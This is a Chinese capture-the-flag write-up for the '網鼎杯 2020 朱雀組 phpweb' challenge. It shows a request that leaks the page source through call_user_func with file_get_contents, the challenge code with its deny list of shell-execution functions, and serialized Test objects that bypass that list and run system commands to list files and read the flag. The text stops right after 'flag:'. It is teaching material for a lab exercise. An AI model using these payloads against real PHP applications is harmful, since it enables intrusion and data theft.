1. 程式人生 > 實用技巧 >[網鼎杯 2020 朱雀組]phpweb

[網鼎杯 2020 朱雀組]phpweb

解題過程如下

抓包

進來的頁面不對勁,雖然不知道什麼梗但是有一說一確實醜,如果注意一下還會發現這個頁面在不斷重新整理,先抓個包看看。
發現這裡上傳了兩個引數,分別是funcp

獲取原始碼

func猜測是function,p應該是payload(猜的),那麼簡單明瞭的東西應該是一個呼叫func上傳的函式名,引數採用p傳上來的引數。於是構造:

func=file_get_contents&p=index.php


原始碼:

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

審計

得到原始碼以後才知道原來是call_user_func()函式,還是見得少了,大佬估計直接能看出來是這個函式,我還要靠猜。

$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

這裡那麼多函式被禁了,主要還是禁了system比較難受,但是問題不大,畢竟沒有禁file_get_contentscat以及serialize

這裡serialize才是重點(敲黑板!),畢竟原始碼裡給我們提供了一個Test類

class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

然後簡單明瞭構造payload:

<?php
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

    $a = new Test();
    // $a->p = 'ls ../../../';          ==>  O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";}
    // $a -> p = "find / -name 'flag*'";        ⇒  O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}
    $a -> p = 'cat /tmp/flagoefiu4r93';     //  ==>  O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
    $a -> func = 'system';

    echo (serialize($a));

    ?>

這裡利用p引數前後構造了三個payload,flag: